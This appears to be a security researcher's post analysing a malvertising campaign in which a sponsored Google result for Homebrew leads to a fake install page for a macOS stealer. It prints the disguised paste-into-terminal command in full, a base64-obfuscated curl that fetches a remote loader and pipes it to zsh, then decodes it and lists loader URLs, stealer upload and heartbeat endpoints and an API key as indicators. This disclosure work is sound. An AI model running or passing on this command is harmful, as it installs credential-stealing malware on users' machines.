Absolute state of google, (and frankly the expectations of developers for installing things).

Setting up an older Mac to use as a new work machine, search google for brew Mac looking for the brew.sh site, first result is a sponsored link to httpX://macdev.slab[.]com/public/posts/insta-іі-with-termina-і-g40n4aau?shr=6etwxr0gksp2ltctcqv7gom7. I know it's not right but I got curious, let's see what's inside.

First link is familiar install instructions as we're used to for brew "here copy paste this code into terminal, don't ask questions". * Don't actually do this *

echo "Downloading Update: https://support.apple.com/downloads/xprotect-remediator-150.dmg" && curl -s $(echo "aHR0cHM6Ly9kYXRhc3BoZXJlLnVzLmNvbS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9NDkyZjllNTgzNThlOGUyYmM5ZTA0MTRmYTA3N2UxOTc=" | base64 -d) | zsh


Aww man that base64 makes me feel good and trusting, wonder what's inside

echo 'aHR0cHM6Ly9kYXRhc3BoZXJlLnVzLmNvbS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9NDkyZjllNTgzNThlOGUyYmM5ZTA0MTRmYTA3N2UxOTc=' | base64 -d | cat

httpX://datasphere.us[.]com/debug/loader.sh?build=492f9e58358e8e2bc9e0414fa077e197


hrmm, that's not brew, oh well maybe this is fine, let's check it out with urlscan, looks like me and 5 of my closest friends have had the same idea
https://urlscan.io/result/019d298d-3b24-7571-a37a-12575ae1eb84/

Another base64 blob, that truly gives me the warm and fuzzies, I'm starting to think maybe it's not brew https://pastebin.com/5cr5Nh1W
VirusTotal thinks this new blob might be a stealer https://www.virustotal.com/gui/file/54043cd8874e0eabbced73e433cfa30c75fd45364ae4f03fbda2eabca9d8d994?nocache=1

This blob grabs some basic info then pulls an osa script which appears to be the friends we made along the way (stealer)
https://www.virustotal.com/gui/file/f02758a235a220f2fa125bb6f45a49e674fd8b91f320a382e8b7017d93afbc74

Pastebin doesn't like the script so won't upload it there, can reach out if a copy is needed, but seems to be pretty well indexed

#osx #malware #stealer #google #brew

A more sane and parseable list of indicators:

Landing page

httpX://macdev.slab[.]com/public/posts/insta-іі-with-termina-і-g40n4aau?shr=6etwxr0gksp2ltctcqv7gom7

Loaders

httpX://datasphere.us[.]com/debug/loader.sh?build=492f9e58358e8e2bc9e0414fa077e197
https://datasphere.us.com/debug/payload.applescript?build=492f9e58358e8e2bc9e0414fa077e197

Mocked User Agent for curls

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

APIs

httpX://datasphere.us[.]com/api/debug/event # initial info gathering
httpX://datasphere.us[.]com/gate # stealer upload location
httpX://datasphere.us[.]com/gate/chunk # large file uploads
httpX://datasphere.us[.]com/api/bot/heartbeat # Persistence heartbeat API

api key 61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f

#osx #stealer #iocs

Interesting addendum about the advertiser https://adstransparency.google.com/advertiser/AR08935176312499208193?origin=ata&region=anywhere

I suspect it could be compromised ads account, that being said I can't actually find this ad listed in the transparency page

Seems like slab has been used a bit here and there for this campaign using various compromised ads accounts
https://adstransparency.google.com/?region=anywhere&platform=SEARCH&query=Homebrew+for+Mac&domain=slab.com

Huge amount of different ads accounts, all following similar approaches, oldest ad might be March 22nd

Good news, the original ad was taken down, bad news a new app with the same thing has popped up. Moved from slab[.]com to supernotes[.]app they clearly like these services that allow nice formatting under a trusted domain

Which appears to have been authored today using the same account name on a different service Mac Dev. The too platforms have in common are they make it hard to report accounts/published pages.

So new in fact the google ads transparency doesn't have this ad listed, nor any others for this domain

httpX://share.supernotes[.]app/scene+lecture+tooth+pupil/?gad_source=1&gad_campaignid=23690246307&gbraid=0AAAAADvuqr5J4xYKwmF7fO2d1qw_v-Lbe&gclid=CjwKCAjwspPOBhB9EiwATFbi5GITIyzMjnVnSz_HXDXqQECD00FGVRLHYJ1W6USLzFxmEp2G3W9QchoCvm4QAvD_BwE

CloudFlare has already taken down the loader URL so at least there's that